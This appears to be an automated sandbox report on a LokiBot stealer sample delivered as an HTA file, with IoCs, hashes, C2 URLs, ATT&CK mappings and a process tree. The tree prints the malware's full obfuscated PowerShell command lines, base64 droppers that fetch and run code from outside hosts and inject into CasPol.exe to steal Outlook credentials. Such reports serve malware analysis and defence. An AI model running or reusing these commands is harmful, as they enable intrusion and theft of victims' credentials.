lokibot | 86f7ef2ea14259c52d1fe1627978ef45a94fc4234c7328a1492da55a400703d6

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29-10-2024 12:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

seethebestthignswhichgivingbestthingstogetmakeuveryhappy.hta
Size

131KB
MD5

196fb761aa0f295e150b75bd8ad638b4
SHA1

c209ef825b7f80e43f3c904efbc2df582117eeb0
SHA256

86f7ef2ea14259c52d1fe1627978ef45a94fc4234c7328a1492da55a400703d6
SHA512

38b7eaff75c6d2cc3b5da4ebb6c345247d35d44b29804c67227404942075db9abf6466716122be3cc4bcb7c8188e0aa3c3b69d9459fd1cff8f5177eaae028b85
SSDEEP

96:4vCt7evwlevO+D4xMUrwKtkTt0cZPeIvdDveRAz5hg3vBQ:4vCFUWUiXwK2TpSbBQ

Score

10^/10

lokibot collection defense_evasion discovery execution spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Extracted

Family

lokibot

http://94.156.177.220/logs/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot
Lokibot family
lokibot
Blocklisted process makes network request 4 IoCs

Processes:

poWERSHELl.eXEpowershell.exe

flow pid process

17 2004 poWERSHELl.eXE
25 2372 powershell.exe
27 2372 powershell.exe
35 2372 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

5048 powershell.exe
2372 powershell.exe
Evasion via Device Credential Deployment 2 IoCs
defense_evasion execution

Processes:

poWERSHELl.eXEpowershell.exe

pid process

2004 poWERSHELl.eXE
3544 powershell.exe

flow	pid	process
17	2004	poWERSHELl.eXE
25	2372	powershell.exe
27	2372	powershell.exe
35	2372	powershell.exe

pid	process
5048	powershell.exe
2372	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

mshta.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

CasPol.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	CasPol.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	CasPol.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	CasPol.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

24 drive.google.com
25 drive.google.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2372 set thread context of 2940 2372 powershell.exe CasPol.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
24	drive.google.com
25	drive.google.com

description	pid	process	target process
PID 2372 set thread context of 2940	2372	powershell.exe	CasPol.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.execsc.execvtres.exeWScript.exepowershell.exepowershell.exemshta.exepoWERSHELl.eXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	poWERSHELl.eXE

Modifies registry class 1 IoCs

Processes:

poWERSHELl.eXE

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings poWERSHELl.eXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	poWERSHELl.eXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

poWERSHELl.eXEpowershell.exepowershell.exepowershell.exe

pid	process
2004	poWERSHELl.eXE
2004	poWERSHELl.eXE
3544	powershell.exe
3544	powershell.exe
5048	powershell.exe
5048	powershell.exe
2372	powershell.exe
2372	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

poWERSHELl.eXEpowershell.exepowershell.exepowershell.exeCasPol.exe

description	pid	process
Token: SeDebugPrivilege	2004	poWERSHELl.eXE
Token: SeDebugPrivilege	3544	powershell.exe
Token: SeDebugPrivilege	5048	powershell.exe
Token: SeDebugPrivilege	2372	powershell.exe
Token: SeDebugPrivilege	2940	CasPol.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

mshta.exepoWERSHELl.eXEcsc.exeWScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 4856 wrote to memory of 2004	4856	mshta.exe	poWERSHELl.eXE
PID 4856 wrote to memory of 2004	4856	mshta.exe	poWERSHELl.eXE
PID 4856 wrote to memory of 2004	4856	mshta.exe	poWERSHELl.eXE
PID 2004 wrote to memory of 3544	2004	poWERSHELl.eXE	powershell.exe
PID 2004 wrote to memory of 3544	2004	poWERSHELl.eXE	powershell.exe
PID 2004 wrote to memory of 3544	2004	poWERSHELl.eXE	powershell.exe
PID 2004 wrote to memory of 1632	2004	poWERSHELl.eXE	csc.exe
PID 2004 wrote to memory of 1632	2004	poWERSHELl.eXE	csc.exe
PID 2004 wrote to memory of 1632	2004	poWERSHELl.eXE	csc.exe
PID 1632 wrote to memory of 4908	1632	csc.exe	cvtres.exe
PID 1632 wrote to memory of 4908	1632	csc.exe	cvtres.exe
PID 1632 wrote to memory of 4908	1632	csc.exe	cvtres.exe
PID 2004 wrote to memory of 2424	2004	poWERSHELl.eXE	WScript.exe
PID 2004 wrote to memory of 2424	2004	poWERSHELl.eXE	WScript.exe
PID 2004 wrote to memory of 2424	2004	poWERSHELl.eXE	WScript.exe
PID 2424 wrote to memory of 5048	2424	WScript.exe	powershell.exe
PID 2424 wrote to memory of 5048	2424	WScript.exe	powershell.exe
PID 2424 wrote to memory of 5048	2424	WScript.exe	powershell.exe
PID 5048 wrote to memory of 2372	5048	powershell.exe	powershell.exe
PID 5048 wrote to memory of 2372	5048	powershell.exe	powershell.exe
PID 5048 wrote to memory of 2372	5048	powershell.exe	powershell.exe
PID 2372 wrote to memory of 2940	2372	powershell.exe	CasPol.exe
PID 2372 wrote to memory of 2940	2372	powershell.exe	CasPol.exe
PID 2372 wrote to memory of 2940	2372	powershell.exe	CasPol.exe
PID 2372 wrote to memory of 2940	2372	powershell.exe	CasPol.exe
PID 2372 wrote to memory of 2940	2372	powershell.exe	CasPol.exe
PID 2372 wrote to memory of 2940	2372	powershell.exe	CasPol.exe
PID 2372 wrote to memory of 2940	2372	powershell.exe	CasPol.exe
PID 2372 wrote to memory of 2940	2372	powershell.exe	CasPol.exe
PID 2372 wrote to memory of 2940	2372	powershell.exe	CasPol.exe

outlook_office_path 1 IoCs

Processes:

CasPol.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	CasPol.exe

outlook_win_path 1 IoCs

Processes:

CasPol.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	CasPol.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethebestthignswhichgivingbestthingstogetmakeuveryhappy.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4856
- C:\Windows\SysWOW64\WinDOWSpoWErSheLl\v1.0\poWERSHELl.eXE
  "C:\Windows\systEm32\WinDOWSpoWErSheLl\v1.0\poWERSHELl.eXE" "PoWeRSheLL -EX bYPAsS -nOp -W 1 -c DeVIcECRedenTiAlDEploymeNT.eXe ; iex($(Iex('[SYsTeM.TeXt.ENCODinG]'+[chAR]58+[chAR]58+'UTF8.geTStRING([SysteM.CONVERT]'+[CHAR]0x3a+[cHAr]0X3A+'fRomBaSe64STring('+[ChAr]34+'JEREICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlckRlZkluaXRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXJHLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGR0Vkh5Zm5wRUcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVnZ3cXksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNvSVVxaVgsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdm0pOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJMZkJpeHBhTVFhSiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbVVUTURZQ2tkICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRERDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTU1LzQyMy9waWN0dXJld2l0aGdyZWF0bmV3c3dpdGhnb29kdGhpbmdzdG9oYXBwZW5lZC50SUYiLCIkRW52OkFQUERBVEFccGljdHVyZXdpdGhncmVhdG5ld3N3aXRoZ29vZHRoaW5nc3RvaGFwcC52YlMiLDAsMCk7c1RhUlQtc2xFZVAoMyk7U1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHBpY3R1cmV3aXRoZ3JlYXRuZXdzd2l0aGdvb2R0aGluZ3N0b2hhcHAudmJTIg=='+[CHAr]0x22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2004
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPAsS -nOp -W 1 -c DeVIcECRedenTiAlDEploymeNT.eXe
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3544
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\v2cmry5z\v2cmry5z.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1632
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBD45.tmp" "c:\Users\Admin\AppData\Local\Temp\v2cmry5z\CSC4FED4BB6E5DC482981377ED1327DED63.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4908
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\picturewithgreatnewswithgoodthingstohapp.vbS"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2424
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnR1ZDaW1hZ2VVcmwnKycgPSBTcHJodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd24nKydsbycrJ2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciBTcHI7R1ZDd2ViQ2xpJysnZW4nKyd0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtHVkNpbWFnZUJ5dGVzID0nKycgR1ZDd2ViQ2xpZW50LkRvd24nKydsb2FkJysnRGF0YScrJyhHVkNpbWFnZVVybCknKyc7R1ZDaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoR1ZDaW1hZycrJ2VCeXRlcyk7R1YnKydDc3RhcnRGbGFnID0gU3ByPDxCQVNFNjRfU1RBUlQ+PlNwcjtHVkNlbmRGbGFnID0gU3ByPCcrJzxCQVNFNjRfRU5EPj5TcHI7R1ZDc3RhcnRJbmRleCA9IEdWQ2ltYWdlVGV4dC5JbicrJ2RleE9mKEdWQ3N0YXJ0RmxhZyk7R1ZDZW5kSW5kZXggPSBHVkNpJysnbWFnZVRleHQuSW5kZXhPZihHVkNlbmRGbGFnKTtHVkNzdGFydEluZGUnKyd4IC1nZSAwIC1hbmQgR1ZDZScrJ25kSW5kZXggLWd0IEdWQ3MnKyd0YXJ0SW5kZXg7R1ZDc3RhcnRJbmRleCArPSBHVkNzdGFydEZsYWcuTGVuZ3RoO0dWQ2Jhc2U2NExlbmd0aCA9IEdWQ2VuZEluZGV4IC0gR1ZDc3RhcicrJ3RJbmRleDtHVkNiYXNlNjRDb21tYW5kID0gR1ZDaW1hZ2VUZXh0JysnLlN1YnN0cmluZycrJyhHVkNzdGFydEluZGV4LCBHVkNiYXNlNjRMZW5ndGgpO0dWQ2Jhc2U2NFJldmVyc2VkID0gJysnLWpvaW4gKEdWQ2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBUMHggRm9yRWFjaC1PYmplY3QgeyBHJysnVkNfIH0pWy0xLi4tKEdWQ2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07R1ZDYycrJ29tbWFuZEJ5dGVzID0gW1N5cycrJ3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhcycrJ2U2NFN0cmluZyhHVkNiYXNlNjRSZXZlcnNlZCk7R1ZDbG9hZGVkQXNzZW1ibHkgPSAnKydbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZScrJ21ibHldOjpMb2FkKEdWQ2NvbW1hbmRCeXRlcyk7R1ZDdmFpJysnTWV0aG9kID0gW2RuJysnbGliLklPLkhvbWVdLkdldE1ldGhvZChTcHJWQUlTcHIpO0dWQ3ZhaU1ldGhvZC5JbnZva2UoR1ZDbnVsbCwgQChTcHJ0eHQuU0dPTEtMLzMyNC81NTEuODcxLjY0Ljg5MS8vOnB0dGhTcHIsIFNwcmRlc2F0aXZhZG9TcHIsIFNwcmRlc2F0aXZhZG9TcHIsIFNwcmRlc2F0aXZhZG9TcHIsIFNwckNhc1BvbFNwciwgUycrJ3ByZGVzYXRpdmFkb1NwciwgU3ByZGUnKydzYXRpJysndmFkb1NwcixTcHJkZXNhdGl2YWRvU3ByLFNwJysncmRlc2F0aScrJ3ZhZG9TcHIsU3ByZGVzYXRpdmFkb1NwcixTcHJkZXNhdGl2YWRvU3ByLFNwcmRlc2F0aXZhZG9TcHIsJysnU3ByMVNwcixTcHJkZXNhdGl2YWRvU3ByKSk7JykgLWNyRVBMQWNFIChbY2hhcl04NCtbY2hhcl00OCtbY2hhcl0xMjApLFtjaGFyXTEyNCAtUkVwbGFjZSAoW2NoYXJdNzErW2NoYXJdODYrW2NoYXJdNjcpLFtjaGFyXTM2ICAtY3JFUExBY0UgKFtjaGFyXTgzK1tjaGFyXTExMitbY2hhcl0xMTQpLFtjaGFyXTM5KSB8IElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5048
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('GVCimageUrl'+' = Sprhttps://drive.google.com/uc?export=down'+'lo'+'ad&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur Spr;GVCwebCli'+'en'+'t = New-Object System.Net.WebClient;GVCimageBytes ='+' GVCwebClient.Down'+'load'+'Data'+'(GVCimageUrl)'+';GVCimageText = [System.Text.Encoding]::UTF8.GetString(GVCimag'+'eBytes);GV'+'CstartFlag = Spr<<BASE64_START>>Spr;GVCendFlag = Spr<'+'<BASE64_END>>Spr;GVCstartIndex = GVCimageText.In'+'dexOf(GVCstartFlag);GVCendIndex = GVCi'+'mageText.IndexOf(GVCendFlag);GVCstartInde'+'x -ge 0 -and GVCe'+'ndIndex -gt GVCs'+'tartIndex;GVCstartIndex += GVCstartFlag.Length;GVCbase64Length = GVCendIndex - GVCstar'+'tIndex;GVCbase64Command = GVCimageText'+'.Substring'+'(GVCstartIndex, GVCbase64Length);GVCbase64Reversed = '+'-join (GVCbase64Command.ToCharArray() T0x ForEach-Object { G'+'VC_ })[-1..-(GVCbase64Command.Length)];GVCc'+'ommandBytes = [Sys'+'t'+'em.Convert]::FromBas'+'e64String(GVCbase64Reversed);GVCloadedAssembly = '+'[System.Reflection.Asse'+'mbly]::Load(GVCcommandBytes);GVCvai'+'Method = [dn'+'lib.IO.Home].GetMethod(SprVAISpr);GVCvaiMethod.Invoke(GVCnull, @(Sprtxt.SGOLKL/324/551.871.64.891//:ptthSpr, SprdesativadoSpr, SprdesativadoSpr, SprdesativadoSpr, SprCasPolSpr, S'+'prdesativadoSpr, Sprde'+'sati'+'vadoSpr,SprdesativadoSpr,Sp'+'rdesati'+'vadoSpr,SprdesativadoSpr,SprdesativadoSpr,SprdesativadoSpr,'+'Spr1Spr,SprdesativadoSpr));') -crEPLAcE ([char]84+[char]48+[char]120),[char]124 -REplace ([char]71+[char]86+[char]67),[char]36 -crEPLAcE ([char]83+[char]112+[char]114),[char]39) | Iex"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2372
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        Accesses Microsoft Outlook profiles
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:2940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\poWERSHELl.eXE.log

Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
ef0aadf252e0f84391cd243c645765c4

SHA1
3f66a112b4e83417bf9326593cd55f9b22a06a00

SHA256
0fc788710614d5f0cab3fbde86c02830b9963dd0b5605b92d7ba7365dcfa36b4

SHA512
1029d736aa940297d2369927ac641b27d4f0d639a4554f447d912ca03136a76e8c07ad07a4014ab7ceda2267631d55b1d66eb29068b76166754a2fedf9e58bcb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
3edccf64c4f0a0ac26cd2364d42364e2

SHA1
c058772f3b34a38403a9886652144cf3ff7cb70e

SHA256
4955900dbe6350d2fac9d834789b9d27d3b245eef9f58f52b5916ec0cab0d875

SHA512
7b207287aaf14033d584f82dd038edd65a878e7b9a4283c570b365e6a5c684837e6ee6765ced21ccc04d37eb3e8f6fd424957c5342655c470910dad83e17d92b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESBD45.tmp

Filesize
1KB

MD5
c57a82f42042c4469fb11af014e740ee

SHA1
1eb5d94e89dba8834eaae0f303f75d3575ce1a7b

SHA256
dd68a74891c508621f221e4e0dad1831495bb2f99c0f07359869e4dcdfccf6e8

SHA512
26bbddc13d23879f1342416bd7ee430ac14fafca68ecf6678303db3df2db82671048685803448c5cc1f787e47dd6069d7f6fd718d75d6290afb8bc5056886403

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ihd2tdvq.lhj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\v2cmry5z\v2cmry5z.dll

Filesize
3KB

MD5
728f6d206e621a9780aa9338a8a2bd95

SHA1
59dc9a78fd19413fec5654b296ff50987bcb9852

SHA256
1ce3ba4ec0d412dbf5566e3b682dabea14711586f202b14549ebbf61c96ec4c5

SHA512
238030d5c2d61842618408eb47ed65b34735fadfba6df8b9a534d5988093e22f005844d84f709275171c168f0515fd29d73720f13e5d877824d85583665ec06c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2045521122-590294423-3465680274-1000\0f5007522459c86e95ffcc62f32308f1_896de533-e5fb-4eb9-8f2b-d363f3584dc5

Filesize
46B

MD5
d898504a722bff1524134c6ab6a5eaa5

SHA1
e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

SHA256
878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

SHA512
26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2045521122-590294423-3465680274-1000\0f5007522459c86e95ffcc62f32308f1_896de533-e5fb-4eb9-8f2b-d363f3584dc5

Filesize
46B

MD5
c07225d4e7d01d31042965f048728a0a

SHA1
69d70b340fd9f44c89adb9a2278df84faa9906b7

SHA256
8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

SHA512
23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Download Submit
C:\Users\Admin\AppData\Roaming\picturewithgreatnewswithgoodthingstohapp.vbS

Filesize
136KB

MD5
e7dde34531d98d4b94175ad3269d5667

SHA1
fa9596b284c756bcf9a14dc5ebc2b84607d398ae

SHA256
1d85e569b13244ff1ef054cec322a314c9880567b511b6ee817068c0dcd5d38b

SHA512
d39505a3951fd19c3809a0640218d39414bfb9efcc0d1c534ee5d9a4d17ddbcf7d3ad40d255a6e8a58d259e7ce61ac9f16e3d55b17d674eadb68997b551b4843

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\v2cmry5z\CSC4FED4BB6E5DC482981377ED1327DED63.TMP

Filesize
652B

MD5
2064e17fc1a139c504bf2bccaad10c70

SHA1
5ec2b8e6da32cafe1605670a4226cab34680ce2c

SHA256
9b83bc77a735b33876b195e592a7cf47ac9e3669396ce4abff9fba21080da200

SHA512
f3b4a69ee25e4de4df342edd2954ac197e8cb442e948cfe07998c9509437302a2c1c50ab85960995b489773f6aae33d1e98eba4f84027d378fe87a7dd2591fa2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\v2cmry5z\v2cmry5z.0.cs

Filesize
462B

MD5
c3b2cac94b16f2aa7b62978b69741a03

SHA1
24b7bd8cf3a07a364bd91c2581a9a67cb25c8e3e

SHA256
a1d1f69141b09c2027c3ecf1b0eeb0b0d2a1ee67ee96436591461acd6f1b9d20

SHA512
3f4ab831992c6ffce0b348f105d13bea0ebdabe992d9d4283ba8671069529acb9e8fa8f3ec227aef6ce7f6180309dea4823b82f9cd78f94e5081f3d748fa0cb7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\v2cmry5z\v2cmry5z.cmdline

Filesize
369B

MD5
a36bd40def1815b791760f36338292e5

SHA1
72bdd8db2e970ae29d97b0c19177896377d53b29

SHA256
183f01ee241a00a3f80c4be36a22a418c1d97d2bd36241da2c37761c7e565feb

SHA512
3d57d9e3d0582048dd4d49cb239afe8723d2fe220ec5c9771364625d2e357f310fa53de2ea20f2a20d1cfff9c6ac81bd84cfbe890bdb912df08da752330424b2

Download Submit
memory/2004-0-0x000000007133E000-0x000000007133F000-memory.dmp

Filesize
4KB

Download
memory/2004-1-0x00000000023D0000-0x0000000002406000-memory.dmp

Filesize
216KB

Download
memory/2004-74-0x0000000008050000-0x00000000085F4000-memory.dmp

Filesize
5.6MB

Download
memory/2004-5-0x0000000004D20000-0x0000000004D42000-memory.dmp

Filesize
136KB

Download
memory/2004-19-0x0000000005D20000-0x0000000005D6C000-memory.dmp

Filesize
304KB

Download
memory/2004-4-0x0000000071330000-0x0000000071AE0000-memory.dmp

Filesize
7.7MB

Download
memory/2004-73-0x00000000070B0000-0x00000000070D2000-memory.dmp

Filesize
136KB

Download
memory/2004-72-0x0000000071330000-0x0000000071AE0000-memory.dmp

Filesize
7.7MB

Download
memory/2004-71-0x000000007133E000-0x000000007133F000-memory.dmp

Filesize
4KB

Download
memory/2004-65-0x00000000062A0000-0x00000000062A8000-memory.dmp

Filesize
32KB

Download
memory/2004-81-0x0000000071330000-0x0000000071AE0000-memory.dmp

Filesize
7.7MB

Download
memory/2004-3-0x0000000004EF0000-0x0000000005518000-memory.dmp

Filesize
6.2MB

Download
memory/2004-2-0x0000000071330000-0x0000000071AE0000-memory.dmp

Filesize
7.7MB

Download
memory/2004-18-0x0000000005CF0000-0x0000000005D0E000-memory.dmp

Filesize
120KB

Download
memory/2004-17-0x0000000005700000-0x0000000005A54000-memory.dmp

Filesize
3.3MB

Download
memory/2004-7-0x0000000005690000-0x00000000056F6000-memory.dmp

Filesize
408KB

Download
memory/2004-6-0x0000000005620000-0x0000000005686000-memory.dmp

Filesize
408KB

Download
memory/2372-102-0x00000000075B0000-0x000000000770A000-memory.dmp

Filesize
1.4MB

Download
